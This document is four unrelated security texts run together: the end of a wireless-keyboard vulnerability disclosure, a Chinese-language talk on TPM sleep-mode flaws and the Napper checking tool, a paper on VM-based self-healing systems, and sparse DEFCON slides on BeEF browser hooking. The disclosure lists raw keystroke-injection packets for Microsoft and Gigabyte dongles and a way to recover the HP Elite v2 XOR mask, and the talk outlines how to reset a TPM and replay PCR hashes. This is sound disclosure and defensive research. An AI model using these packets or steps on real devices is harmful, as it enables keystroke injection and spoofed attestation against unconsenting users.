keystroke to be sent to the host com- puter: 4C 66 E4 46 76 1A 72 F4 F5 C0 0D 85 C3 // ’b’ key down 4C 66 E1 46 76 1A 72 F4 F5 C0 0D 85 C3 // ’b’ key up Octet 2 of the first packet has been XOR’d with 0x05, the HID scan code for ’b’. The second packet is the un- changed ’key up’ packet previously observed. 31 12 Microsoft Microsoft sells both legacy XOR-encrypted wireless keyboards and modern AES-encrypted wireless keyboards based on the nRF24L series of transceivers. Radio Configuration Channels (MHz) 2403 - 2480 Data Rate 2Mbps (2MHz GFSK) Address Length 5 bytes CRC Length 2 bytes Table 27: Microsoft radio configuration 12.1 Vulnerabilities 12.1.1 Unencrypted Keystroke Injection (BN-0004) Current Microsoft wireless keyboards encrypt keystroke data using 128-bit AES encryption. The prior generation of Microsoft wireless keyboards used XOR encryption which was shown to be insecure. USB dongles from both the AES and XOR encrypted generations of Microsoft wireless keyboards accept unen- crypted keystroke packets transmitted to the RF address of a wireless mouse. This applies to standalone wireless mice, as well as mice sold as part of a keyboard and mouse set. The following packets will generate an ’a’ keystroke: – Microsoft Sculpt Ergonomic Desktop / Microsoft USB dongle model 1461 08:78:87:01:A0:4D:43:00:00:04:00:00:00:00:00:A3 08:78:87:01:A1:4D:43:00:00:00:00:00:00:00:00:A6 – Microsoft Wireless Mobile Mouse 4000 / Microsoft USB dongle model 1496 08:78:18:01:A0:4D:43:00:00:04:00:00:00:00:00:3C 08:78:18:01:A1:4D:43:00:00:00:00:00:00:00:00:39 – Microsoft Wireless Mouse 5000 / Microsoft 2.4GHz Transceiver v7.0 08:78:03:01:A0:4D:43:00:00:04:00:00:00:00:00:27 08:78:03:01:A1:4D:43:00:00:00:00:00:00:00:00:22 13 HP (non-MOSART) The HP Wireless Elite v2 is an nRF24L based wireless keyboard and mouse set with a proprietary communica- tion protocol. 32 Radio Configuration Channels (MHz) 2403 - 2480 (1MHz spacing) Data Rate 2Mbps (2MHz GFSK) Address Length 5 bytes CRC Length 2 bytes Table 28: HP Elite v2 radio configuration 13.1 Vulnerabilities 13.1.1 Encrypted Keystroke Injection (BN-0005) The HP Wireless Elite v2 wireless keyboard appears to utilize the 128-bit AES encryption provided by the nRF24L transceivers in the keyboard and dongle, but it is implemented in such a way that it is possible to inject keyboard packets without knowledge of the AES key. A typical sequence of key presses looks like this over the air: [keyboard] 06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB // key down [dongle] 06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB [keyboard] 07 [dongle] 0B 69 6A 15 A0 B2 11 11 7B [keyboard] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB // key up [dongle] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB [keyboard] 07 [dongle] 0B 69 6A 15 A0 B2 11 11 7B [keyboard] 06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB // key down [dongle] 07 69 6A 15 A0 B2 11 11 7B B1 49 49 CB [keyboard] 07 [dongle] 0B 69 6A 15 A0 B2 11 11 7B [keyboard] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB // key up [dongle] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB [keyboard] 07 [dongle] 0B 69 6A 15 A0 B2 11 11 7B [keyboard] 04 // request key rotate [dongle] 0A DA 88 A3 0B 00 // crypto exchange [keyboard] 05 10 22 C9 60 E7 CE 2B 48 6F AD E1 1C 16 C2 BD E0 // crypto exchange [dongle] 05 10 22 C9 60 E7 CE 2B 48 6F AD E1 1C 16 C2 BD E0 // crypto exchange [keyboard] 06 C2 CF B5 55 F8 52 28 CA 8B DC 92 63 // key down [dongle] 06 C2 CF B5 55 F8 52 28 CA 8B DC 92 63 [keyboard] 07 [dongle] 0B DA 88 A3 0B 00 C2 CF B5 [keyboard] 06 C2 CF B5 55 F8 1D 28 CA 8B DC 92 63 // key up [dongle] 06 C2 CF B5 55 F8 1D 28 CA 8B DC 92 63 The key down and key up packets are both XOR’d with an 8 byte mask, which appears to be derived during the crypto exchange. The keyboard will continue to use the same XOR mask for subsequent packets, and only initi- ates a key rotation periodically. key up HID packets are a sequence of 8 0x00 bytes, so it is possible to infer the XOR mask by observing a key press sequence, and using the key up packet as the XOR mask. Once the XOR mask is known, it is possible to craft and inject arbitrary keyboard packets, which cause keyboard HID packets to be send to the host operating system. 33 Due to the fact that the keyboard is responsible for initiating the crypto exchange, the last used XOR mask can be used indefinitely while the user is not active typing. 14 Gigabyte The Gigabyte K7600 is an nRF24L based wireless keyboard and mouse set with a proprietary communication protocol. Radio Configuration Channels (MHz) 2403 - 2480 (1MHz spacing) Data Rate 1Mbps (1MHz GFSK) Address Length 5 bytes CRC Length 2 bytes Table 29: Gigabyte radio configuration 14.1 Vulnerabilities 14.1.1 Unencrypted Keystroke Injection and Injection (BN-0006) The Gigabyte K7600 does not encrypt keyboard packets sent over RF, making it possible to inject arbitrary key- board HID frames. Transmitting the following packet to the RF address of a K7600 will generate an ’a’ keypress: CE:00:02:00:00:00:00:00:00:00:3F:80:3D References [1] Bastille Research Team Vulnerability Disclosure Policy. url: https://www.bastille.net/bastille- research-team-vulnerability-disclosure-policy. [2] Logitech Advanced 2.4 GHz Technology With Unifying Technology. url: http://www.logitech.com/images/ pdf/roem/Advanced_24_Unifying_FINAL070709.pdf. 34
pdf
信誉危机 广受认可的硬件和软件遭遇信任危机 Seunghun Han 国家安全研究所高级安全研究员 29 May 2019 - NSR(韩国国家安全研究所)高级安全研究员 - Black Hat Asia 2019影响力成员 - KIMCHICON审查委员会成员 - 作为演讲嘉宾出席以下会议: - USENIX Security 2018 - Black Hat Asia 2017 - 2019 - HITBSecConf 2016 - 2017 - BeVX and KIMCHICON 2018 - “64-bit multi-core OS principles and structure, Vol. 1 and Vol. 2)的作者 - a.k.a kkamagui @kkamagui1 我是谁? - 介绍一个关于信誉的刻板印象 ▪ 信誉并不代表值得信赖! ▪ 不幸的是,由于信誉,我们很容易相信某些东西! - 列举信誉厂商令人失望的案例 ▪ BIOS / UEFI固件和可信平台模块(TPM)由值得信赖的 公司制作! ▪ 但是,我发现了两个漏洞,CVE-2017-16837和CVE- 2018-6622,可以破坏TPM - 提出了对策以及我们所需要做的 ▪ 不要基于信誉而轻信,眼见为实,自己动手检查! 本演讲的目标 以前的工作 信誉 基于 信任! 我们只相信 值得信赖 的公司出产的 产品 信誉良好的公司 (高价) 其他公司 (低价) 您的 仅供演示! 信誉良好的公司 (高价值) 其他公司 (低价值) 您的 仅供演示! I KNOW WHAT YOU DID FOR THE PRESENTS! 值得信赖的要素 衡量信任的根源 核心 RTM 信誉良好的 产品 真的 值得信任吗? 信誉 可信! 每个人都有一个计划, 直到他们脸上挨了一拳。 - 迈克 泰森 每个人都有一个计划, 直到他们脸上挨了一拳。 - 迈克 泰森 每个研究者 都有一个计划, 直到遇到他们的经理。 - 佚名 你 每个研究者 都有一个计划, 直到遇到他们的经理。 - 佚名 经理 CEO 时间轴 ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) 首次遭遇 再次遭遇 CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) 首次遭遇 二次遭遇 CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper 内容 - 背景 可信计算组织(TCG) - 定义全球行业规范和标准 - 英特尔,AMD,IBM,惠普,戴尔,联想,微软,思科, 瞻博网络和英飞凌等知名公司均为其成员 - 支持硬件信任根 - 可信平台模块(TPM)是核心技术 - TCG技术已应用于统一可扩展固件接口(UEFI) TCG的可信计算基(TCB) - 是主机平台上的软件和硬件集合 - 管理和执行系统的安全策略 - 能够防止自己受到入侵 - 可信平台模块(TPM)有助于确保TCB正确实例化并值得 信赖 可信平台模块(TPM)(1) - 是防篡改设备 - 拥有自己的处理器,RAM,ROM和 非易失性RAM - 它有自己的与系统分开的独立状态 - 提供加密和累积测量功能 - 测量值累积到平台配置寄存器(PCR#0~#23) 可信平台模块(TPM)(2) - 用于通过调查存储在PCR中的值来确定系统的可信度 - 可以使用本地验证或远程证明 - 用于根据特定的PCR值限制对秘密数据的访问 - “密封”操作利用TPM的PCR加密秘密数据 - 只有当PCR值与特定值匹配时,“Unseal”操作才能解密密封 数据 测量信任的根源(RTM) - 向TPM发送与完整性相关的信息(测量) - TPM将测量结果累积到具有PCR中先前存储的值的PCR - CPU是否由Core RTM(CRTM)控制 - 当建立新的信任链时,CRTM是第一组指令 Extend: PCRnew = Hash(PCRold || Measurementnew) 静态和动态RTM(SRTM和DRTM) - 当主机平台在POWER-ON或RESTART启动时,SRTM由静态 CRTM(S-CRTM)启动 - DRTM由动态CRTM(D-CRTM)在运行时启动,无需平台重 置 - 在将控制传递给它们前,它们将组件的测量值(散列)扩展到 PCR : 将下一个代码的哈希扩展到TPM :执行下一个代码 BIOS/UEFI 固件 BIOS/UEFI Code TPM Bootloader Kernel User Applications 静态测量信任根(SRTM) S-CRTM Power On/ Restart D-CRTM (SINIT, DCE) TPM tboot (DLME) 动态测量信任根(DRTM) (英特尔可信执行技术) Untrusted Code DL Event Bootloader User Applications Kernel DLME:动态启动测量环境 DL Event:动态启动事件 DCE:DRTM配置环境 DRTM SRTM PCR 保护 - 即使攻击者获得root权限,也不得通过不允许的操作重置它们! - 只有主机复位时,才能复位静态PCR(PCR#0~#15) - 仅当主机初始化DRTM时,才能重置动态PCR(PCR#17~ #22) - 如果攻击者重置PCR,他们可以通过重放哈希值来重现特定的 PCR值 - 他们可以窃取秘密并欺骗本地和远程验证 我们相信所有这些机制 因为信誉! 幸运的是,他们起作用了! 我们相信所有这些机制 因为信誉! 幸运的是,他们起作用了! 直到我发现了漏洞! 你背叛我! ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) First Encounter Second Encounter CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper 内容 - CVE-2017-16837 英特尔可信执行环境(TXT) - 是TCG规范的DRTM技术 - 英特尔只使用自己的术语 - ex)DCE =安全初始化认证代码模块(SINIT ACM) DLME =测量启动环境(MLE) - 有一个特殊命令(SENTER和SEXIT)进入可信任状态并从中 退出 - SENTER检查SINIT ACM是否有有效签名 - 英特尔在网站上发布SINIT ACM 可信启动(tBoot) - 是英特尔TXT的参考实现 - 这是一个开源项目(https://sourceforge.net/projects/tboot/ - 它包括许多Linux发行版,如RedHat,SUSE和 Ubuntu的 - 可以验证操作系统和虚拟机监视器(VMM) - 它测量OS组件并将散列存储到TPM - TPM的PCR中的测量结果可以由远程认证服务器(例如Intel Open CIT)验证 - 它通常用于服务器环境 tBoot的启动过程 CRTM BIOS/UEFI Code GRUB Pre- Launch Code Kernel initrd Remote Attestation Tool Static PCRs (PCR#0-15) Dynamic PCRs (PCR#17-22) SINIT ACM (DCE) Post- Launch Code CPU tBoot (DLME) TPM Microcode SENTER (DL event) : Execution : Measurement PCR #17 PCR #17~ #19 R.A. Server Attestation 启动过程很完美! 休眠过程怎么样?? 高级配置和电源接口(ACPI)和休眠状态 - 关闭电源之后 - S0:正常,没有上下文丢失 - S1:待机,CPU缓存丢失 - S2:待机,CPU处于断电状态 - S3:暂停,CPU和设备已关闭电源 - S4:休眠,CPU,设备和RAM均已关闭 - S5:软关闭,所有部件均已关闭电源 TPM也已关机! 唤醒时再次测量代码! 继续 重启 DRTM 再次 测量! 唤醒DRTM的过程 < TCG D-RTM架构规范 > 使用tBoot进行休眠的过程 Seal S3 key and MAC of Kernel Memory with Post-Launch PCRs Save Static PCRs(0~16) - seal_post_k_state() → g_tpm->seal() - tpm->save_state() - shutdown_system() Shutdown Intel TXT - txt_shutdown() Sleep. 关闭CPU和TPM! Launch MLE again and then, Unseal S3 key and MAC with P-Launch PCRs Extend PCRs and Resume Kernel Wake Up, Restore Static PCRs, and Resume tBoot - Real Mode, Single CPU - begin_launch() → txt_s3_launch_environment() - post_launch() → s3_launch() → verify_integrity() → g_tpm->unseal() - verify_integrity() → extends_pcrs() →g_tpm→extend() - s3 launch()-> prot to real() 使用tBoot进行休眠的过程 Seal S3 key and MAC of Kernel Memory with Post-Launch PCRs Save Static PCRs(0~16) - seal_post_k_state() → g_tpm->seal() - tpm->save_state() - shutdown_system() Shutdown Intel TXT - txt_shutdown() Sleep. 关闭CPU和TPM! Launch MLE again and then, Unseal S3 key and MAC with P-Launch PCRs Extend PCRs and Resume Kernel Wake Up, Restore Static PCRs, and Resume tBoot - Real Mode, Single CPU - begin_launch() → txt_s3_launch_environment() - post_launch() → s3_launch() → verify_integrity() → g_tpm->unseal() - verify_integrity() → extends_pcrs() →g_tpm→extend() - s3 launch()-> prot to real() ?! “丢失的指针”漏洞 (CVE-2017-16837) Memory Layout of tBoot Multiboot Header Code (.text) Read-Only Data (.rodata) Uninitialized Data (.bss) 由英特尔TXT测量! _mle_start _mle_end … Initialized Data (.data) struct tpm_if *g_tpm struct tpm_if tpm_12_if struct tpm_if tpm_20_if “丢失的指针”漏洞 (CVE-2017-16837) Memory Layout of tBoot Multiboot Header Code (.text) Read-Only Data (.rodata) Uninitialized Data (.bss) 由英特尔TXT测量! _mle_start _mle_end … Initialized Data (.data) struct tpm_if *g_tpm struct tpm_if tpm_12_if struct tpm_if tpm_20_if 你背叛我! 不可测量! 利用CVE-2017-16837的情景(1) Compromised Software Stack (1)在事件日志中保留正常哈希值 BIOS/UEFI Sleep (5) Sleep Compromised Software Stack (6) Wake up (2)提取并计算正常哈希值 (3)将正常哈希值存储在RAM中 DCE and DLME (tboot) (5)重置TPM并用钩子函数重放正常哈希值 (4)DCE和DLME中的钩子函数指针 Hooked functions DCE and DLME (tboot) Faked State (Normal State) Compromised State Hash values 利用CVE-2017-16837的情景(2) BIOS/UEFI tboot GRUB Compromised Kernel User Application TPM Remote Attestation Server Abnormal PCRs Nonce Sig(PCRs, Nonce) AIK 利用CVE-2017-16837的情景(3) BIOS/UEFI tboot GRUB User Application TPM Remote Attestation Server Abnormal PCRs Nonce Sig(PCRs, Nonce) AIK Compromised Kernel Replay Good Hashes 使用Sleep重置TPM Normal PCRs ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) First Encounter Second Encounter CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper 内容- CVE-2018-6622 DRTM在唤醒时测量代码! SRTM怎么样?? 唤醒SRTM的过程 < TCG PC客户端平台固件配置文件规范 > OS ACPI (BIOS/UEFI) TPM (1) 要求保存状态 Sleep (S3) (5) 要求恢复状态 (2) 要求进入休 眠状态 (4) 唤醒 (3) 休眠 (6) 继续 OS “灰色地带”漏洞(1) (CVE-2018-6622) < TCG PC客户端平台固件配置文件规范 > OS ACPI (BIOS/UEFI) TPM (1) 要求保存状态 Sleep (S3) (5) 要求恢复状态 (2) 要求进入休 眠模式 (4) 唤醒 (3) 休眠 (6) 继续 OS “灰色地带”漏洞(2) (CVE-2018-6622) < 可信平台模块库第1部分:体系结构规范 > 什么是“纠正措施”? 这意味着“重置TPM” TPM 2.0 TPM 1.2 “Grey Area” Vulnerability (2) (CVE-2018-6622) <Trusted Platform Module Library Part1: Architecture Specification> What is the “corrective action”? This means “reset the TPM” TPM 2.0 TPM 1.2 ?? 你背叛我! 我不知道“纠正措施” 我什么都做不了! “灰色地带”漏洞(2) (CVE-2018-6622) <可信平台模块库第1部分:体系结构规范> 什么是“纠正措施”? 这意味着“重置TPM” TPM 2.0 TPM 1.2 安全! 利用CVE-2018-6622的方案 Compromised Software Stack (1 )在事件日志中保留正常哈希值 Compromised State BIOS/UEFI Sleep (4)休眠而不保存TPM状态 Compromised Software Stack (5) Wake up Faked State (Normal State) (2)提取并计算正常哈希值 (6)重置TPM并重放正常的哈希值 (3)将正常哈希值存储在RAM中 Hash values ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) First Encounter Second Encounter CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper 内容 - “Napper” 又是你! 经理 二次遭遇!!! “Napper”? - 是否可以检查TPM中的ACPI S3睡眠模式漏洞的工具 - 它是一个基于Ubuntu 18.04的可启动USB设备 - 它有一个内核模式和用户态应用程序 - 使系统“小睡”并检查漏洞 - 内核模块通过修补内核代码在休眠时利用灰色区域漏洞 (CVE-2018-6622) - 用户级应用程序检查TPM状态并显示报告 “Napper”? - 是否可以检查TPM中的ACPI S3睡眠模式漏洞的工具 - 它是一个基于Ubuntu 18.04的可启动USB设备 - 它有一个内核模式和用户态应用程序 - 使系统“小睡”并检查漏洞 - 内核模块通过修补内核代码在休眠时利用灰色区域漏洞 (CVE-2018-6622) - 用户级应用程序检查TPM状态并显示报告 CVE-2017-16837是一个软件漏洞! 如果版本低于v1.9.7,请升级tBoot Napper内核模块(1) - 在TPM驱动程序中修补tpm_pm_suspend()函数 - S3休眠序列时内核调用该函数 - 内核模块将函数更改为“return 0;” Napper内核模块(2) Napper用户态应用程序 - 由TPM相关软件和启动器软件组成 - 我在tpm2_tools中添加了一个命令行工具“tpm2_extendpcrs” - 我还制作了一个易于使用的启动器软件 - 加载内核模块并检查TPM漏洞 - 发射器加载napper的内核模块并小睡一会儿 - 检查TPM的PCR是否都是ZEROS并扩展PCR - 使用tpm2_getinfo,dmidecode和journalctl工具收集和报告 TPM和系统信息 Napper Live-CD和USB可启动设备 Ubuntu 18.04 + Kernel 4.18.0-15 TPM-related software + Napper Live-CD.iso User-level Applications + +Pinguybuilder_5.1-7 Napper Live-CD和USB可启动设备 Ubuntu 18.04 + Kernel 4.18.0-15 TPM-related software + Napper Live-CD.iso User-level Applications + Pinguybuilder_5.1-7 Project page: https://github.com/kkamagui/napper-for-tpm Model Status BIOS TPM Vendor Version Release Date Manufacturer Vendor String ASUS Q170M-C Vulnerable American Megatrends Inc. 4001 11/09/2018 Infineon (IFX) SLB9665 Dell Optiplex 7040 Vulnerable Dell 1.11.1 10/10/2018 NTC rls NPCT Dell Optiplex 7050 Vulnerable Dell 1.11.0 11/01/2018 NTC rls NPCT GIGABYTE H170-D3HP Vulnerable American Megatrends Inc. F20g 03/09/2018 Infineon (IFX) SLB9665 GIGABYTE Q170M-MK Vulnerable American Megatrends Inc. F23 04/12/2018 Infineon (IFX) SLB9665 HP Spectre x360 Vulnerable American Megatrends Inc. F.24 01/07/2019 Infineon (IFX) SLB9665 Intel NUC5i5MYHE Vulnerable Intel MYBDWi5v.86A. 0049.2018. 1107.1046 11/07/2018 Infineon (IFX) SLB9665 Lenovo T480 (20L5A00TKR) Safe Lenovo N24ET44W (1.19 ) 11/07/2018 Infineon (IFX) SLB9670 Lenovo T580 Safe Lenovo N27ET20W (1.06 ) 01/22/2018 ST- Microelectronics Microsoft Surface Pro 4 Safe Microsoft Corporation 108.2439.769 12/07/2018 Infineon (IFX) SLB9665 演示 Napper tool 对策 - CVE-2018-6622 (灰色区域漏洞) 1)在BIOS菜单中禁用ACPI S3睡眠功能 - 残酷,但简单而有效 2)修改TPM 2.0规范以详细定义“纠正措施”并修补BIOS / UEFI固 件 - 很长一段时间修改并应用于TPM或BIOS / UEFI固件 - 但是,根本的解决方案! 检查并更新BIOS/UEFI固件! 对策 - CVE-2017-16837 (丢失的指针漏洞) 1) 将我的补丁应用于tBoot - https://sourceforge.net/p/tboot/code/ci/521c58e51eb5be105a2998 3742850e72c44ed80e/ 2) 将tBoot更新到最新版本 结论 - 到目前为止,我们已经信任不可信赖的硬件和软件! - “信誉”不是“可信度” - 不仅要信任信誉,还要为自己检查一切 - Napper可帮助您检查TPM漏洞 - 使用Napper检查您的系统或访问项目站点以获取结果 - 使用最新版本更新BIOS / UEFI固件 - 如果还没有修补固件,请立即禁用BIOS菜单中的ACPI S3睡眠功能! 背叛信誉 用信誉为赌注信任不可信的硬件和软件 Twitter: @kkamagui1 Seunghun Han [email protected] Project: https://github.com/kkamagui/napper-for-tpm 参考资料 - Seunghun, H., Wook, S., Jun-Hyeok, P., and HyoungChun K. Finally, I Can Sleep Tonight: Catching Sleep Mode Vulnerabilities of the TPM with the Napper. Black Hat Asia. 2019. - Seunghun, H., Wook, S., Jun-Hyeok, P., and HyoungChun K. A Bad Dream: Subverting Trusted Platform Module While You Are Sleeping. USENIX Security. 2018. - Seunghun, H., Jun-Hyeok, P., Wook, S., Junghwan, K., and HyoungChun K. I Don’t Want to sleep Tonight: Subverting Intel TXT with S3 Sleep. Black Hat Asia. 2018. - Trusted Computing Group. TCG D-RTM Architecture. 2013. - Trusted Computing Group. TCG PC Client Specific Implementation Specification for Conventional BIOS. 2012. - Intel. Intel Trusted Execution Technology (Intel TXT). 2017. - Butterworth, J., Kallenberg, C., Kovah, X., and Herzog, A. Problems with the static root of trust for measurement. Black Hat USA. 2013. - Wojtczuk, R., and Rutkowska, J. Attacking intel trusted execution technology. Black Hat DC. 2009. - Wojtczuk, R., Rutkowska, J., and Tereshkin. A. Another way to circumvent Intel trusted execution technology. Invisible Things Lab. 2009. - Wojtczuk, R., and Rutkowska, J. Attacking Intel TXT via SINIT code execution hijacking. Invisible Things Lab. 2011. - Sharkey, J. Breaking hardware-enforced security with hypervisors. Black Hat USA. 2016.
pdf
Towards a Trusted Immutable Kernel Extension (TIKE) for Self-Healing Systems: a Virtual Machine Approach Julian B. Grizzard, Eric R. Dodson, Gregory J. Conti, John G. Levine, Henry L. Owen Georgia Institute of Technology; Atlanta, Georgia 30332–0250 Phone: 404.894.2955 Fax: 404.894.9959 Email: [email protected] (presenter) Abstract— The conventional method to restore a compromised sys- tem is to wipe the system clean, install from known good media, and patch with the latest updates: a costly, restric- tive, and inefficient method. An alternative method is to monitor the host and restore trust if a compromise occurs. When this method is automated, the system is said to be self-healing. One critical requirement of a self-healing sys- tem is that the self-healing mechanism itself must not be compromised. Our solution to this requirement is a Trusted Immutable Kernel Extension (TIKE) by way of a virtual machine. Using a host operating system as a trusted plat- form, we discuss a self-healing system that uses existing intrusion detection systems and corresponding self-healing mechanisms to automatically heal the guest operating sys- tem once a compromise has occurred. I. Overview The conventional method to recover from a system com- promise is to wipe the system clean and perform a fresh installation. As an alternative, it has been suggested that computers can model the human immune system [1]. Our method is to automatically re-establish trust in the com- promised system or to build a self-healing system. How- ever, in most existing systems the entire state, including the kernel, can be altered to an untrusted state once an at- tacker has gained root-level privileges [2]. Hence, even the self-healing mechanism itself could be compromised. In or- der to further explore the notion of self-healing systems, a core foundation of trust is needed. Our solution is a Trusted Immutable Kernel Extension (TIKE), and we ex- plore this concept with a virtual machine approach. TIKE can be used as a safe haven for self-monitoring and self- healing a system. Eventually this work can be extended to the distributed environment to extend the work of Ostro- vsky and Yung [3] so that an entire computer network can model the human immune system. Figure 1 shows an overview of the TIKE Architecture. The guest system is considered to be the production system. The guest applications include common user applications such as email programs, web browsers, system tools, and so forth. The TIKE applications are the tools that monitor and repair the guest system. The TIKE applications run in the host system and are therefore isolated from the guest system. We assume the integrity of the host machine will not be compromised. Therefore, the host system should Virtual Machine Proxy Calls Self−Heal / IDS Calls Host Kernel TIKE Applications Host User Space Physical Machine Guest User Space Applications Guest Guest Kernel Fig. 1. Overview of TIKE Architecture be completely transparent, isolated, and inaccessible from inside the guest system. Terra is an example of other work that uses virtual machines for isolation and security [4]. II. Design Principles A. TIKE Requirements The requirements of TIKE are embedded in its name, a Trusted Immutable Kernel Extension. Below, we describe the three core requirements of TIKE. • Trusted – TIKE must report accurate information about the state of a host, which means the information can be trusted to be true. Furthermore, in the realm of self- healing, TIKE must be trusted to correctly self-heal the system. • Immutable – In order for TIKE to be trusted, it must be immutable. If an attacker compromises a system, the attacker must not be able to compromise TIKE. Further, the attacker must not be able to disable TIKE’s services. • Kernel Extension – In order to monitor the entire state of the system, TIKE must exist at the kernel level. In addition to the requirements listed above, TIKE must have the capability to examine and modify any state within the host. Furthermore, TIKE should have a small impact on system performance that is not noticeable to the user under normal operations. B. TIKE Virtual Machine Architecture and Operation The TIKE virtual machine architecture consists of a host operating system and a guest operating system. The host operating system is considered the core element of trust that is immutable, or the Trusted Immutable Kernel Ex- tension. Normal users (even those with root access) are not provided access to the host operating system. The host operating system has complete visibility of the entire guest system. Normal users will have accounts with the required level of access on the guest operating system. The host operating system boots up on the physical hardware. After the host operating system is loaded, it then loads the guest operating system. Once the guest operating system is running, TIKE applications can be launched on the host operating system to monitor, repair, or otherwise control the guest operating system. One of the key ideas to note is that there is a small well defined interface between the guest operating system and the host operating system. From a remote location, there is no other interface to the host operating system (i.e. the host O.S. is isolated from the network). The problem of proving whether or not it is possible for the host operating system (i.e. TIKE) to be compromised is thus greatly re- duced to proving that a very simple interface is correct and that the TIKE applications are correct, which is arguably more feasible than proving that an entire operating system is correct. III. Self-Monitoring and Self-Healing Using the TIKE architecture, self-monitoring and self- healing mechanisms can be installed on the host operat- ing system, isolated from the guest or production system. These mechanisms can monitor the production system and repair or heal any compromises that occur. Existing intru- sion detection systems can be used for both real-time and post-intrusion analysis. One of the difficulties with this architecture is that vis- ibility inside the guest operating system is limited. It is possible to see the entire state of the guest operating sys- tem from the host operating system but some complexities exists. For example, it is possible to read the guest file system but it proves difficult to read I/O caches since this may require parsing the guest operating system’s kernel data structures. We will continue to look at solutions to this problem. IV. Limitations The TIKE architecture we have described is a step for- ward towards building a Trusted Immutable Kernel Exten- sion. However there are some limitations that we would like to note. First, one assumption that we make is that there are no vulnerabilities in the layer between the guest operat- ing system and the host operating system. If this assump- tion is false, then the whole model dissolves. However, our argument is that this interface is sufficiently simple, which should enable substantially easier verifiability than say a full blown operating system. Another limitation is perfor- mance. With a virtual machine architecture, system per- formance will be effected. However, the argument is that many production systems in use today and the foreseeable future have far more power than is required. A final limi- tation that we will point out is that this architecture alone offers no protection from physical security. The architec- ture focuses on protecting systems from remote attackers. A local attacker could, for instance, boot the system from a cdrom or other bootable medium and obtain full control over the system. V. Closing and Future Work We have provided an overview for a Trusted Immutable Kernel Extension by way of a virtual machine. The guest operating system is considered the production system and the host operating system is considered TIKE. The TIKE architecture is an enabling architecture that can provide self-monitoring and self-healing mechanisms with a safe haven so that the mechanisms themselves are not compro- mised. Future work will include a more rigorous examina- tion of the interface between guest operating system and host operating system, methods to increase visibility in- side the guest operating system, guest kernel self-healing mechanisms, and methods to withstand local attacks. Fi- nally, we realize that other architectures exists other than the virtual machine approach that meet the requirements of TIKE, such as implementing a hardware module. VI. Acknowledgments The authors would like to thank Dr. Karsten Schwan for his valuable guidance and direction, Ivan Ganev for his suggestions, Dr. Wenke Lee for his insights into intrusion detection systems, and Dr. Mustaque Ahamad for his crit- ical review and comments on trusted computing systems. We would also like to extend our thanks to the anonymous reviewers for their valuable comments. References [1] S. Forrest, S. A. Hofmeyr, and A. Somayaji, “Computer Immunol- ogy,” Commun. ACM, vol. 40, no. 10, pp. 88–96, 1997. [2] J. Levine, J. Grizzard, and H. Owen, “A Methodology to Detect and Characterize Kernel Level Rootkit Exploits Involving Redi- rection of the System Call Table,” in 2nd IEEE International Information Assurance Workshop, pp. 107–125, IEEE, 2004. [3] R. Ostrovsky and M. Yung, “How to Withstand Mobile Virus Attacks (extended abstract),” in Proceedings of the tenth An- nual ACM Symposium on Principles of Distributed Computing, pp. 51–59, ACM Press, 1991. [4] T. Garfinkel, B. Pfaff, J. Chow, M. Rosenblum, and D. Boneh, “Terra: a Virtual Machine-Based Platform for Trusted Comput- ing,” in Proceedings of the nineteenth ACM Symposium on Op- erating Systems Principles, pp. 193–206, ACM Press, 2003.
pdf
Hooked Browser Meshed-Networks with WebRTC and BeEF The sad tale of vegetarian browsers Trigger warning: presentation includes JavaScript $ whoami • Christian Frichot • @xntrik • Co-Author of The Browser Hacker’s Handbook • @beefproject developer DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers $ ./display_overview.sh DEFCON 23 @xntrik Vegie Browsers JS, client-side testing & BeEF Mooo DEFCON 23 @xntrik Vegie Browsers Problems with browser communication channels DEFCON 23 @xntrik Vegie Browsers How WebRTC can help Plus: wth is WebRTC? DEFCON 23 @xntrik Vegie Browsers Integration WebRTC into BeEF Plus Demo! DEFCON 23 @xntrik Vegie Browsers $ ./lets_go Unfortunately BeEF is written in Ruby and not #golang DEFCON 23 @xntrik Vegie Browsers Client-side security testing DEFCON 23 @xntrik Vegie Browsers Browser’s explosive growth DEFCON 23 @xntrik Vegie Browsers Attack surface growth DEFCON 23 @xntrik Vegie Browsers Demise of thick-ish based browser tech DEFCON 23 @xntrik Vegie Browsers $ killall flash Who hasn’t done this yet?? DEFCON 23 @xntrik Vegie Browsers $ brew install web2.0 DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers WTF is browser hacking? $ ./initiate_pimp_mode.sh DEFCON 23 @xntrik Vegie Browsers @antisnatchor (hates pants) @wadealcorn (likes pants) DEFCON 23 @xntrik Vegie Browsers Initiating Control Retaining Control Bypassing SOP Attacking Users Attacking Extensions Attacking Users Attacking Browsers Attacking Plugins Attacking Networks Attacks DEFCON 23 @xntrik Vegie Browsers Initiating Control Bypassing SOP Attacking Users Attacking Extensions Attacking Users Attacking Browsers Attacking Plugins Attacking Networks Attacks Retaining Control DEFCON 23 @xntrik Vegie Browsers $ ./beef DEFCON 23 @xntrik Vegie Browsers $ cat beef | grep ‘comm’ • XMLHttpRequest • WebSockets • DNS DEFCON 23 @xntrik Vegie Browsers $ vim core/main/client/net.js $ vim core/main/client/websocket.js $ vim core/main/client/net/dns.js DEFCON 23 @xntrik Vegie Browsers $ ./beef DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers $ cat solutions.txt DEFCON 23 @xntrik 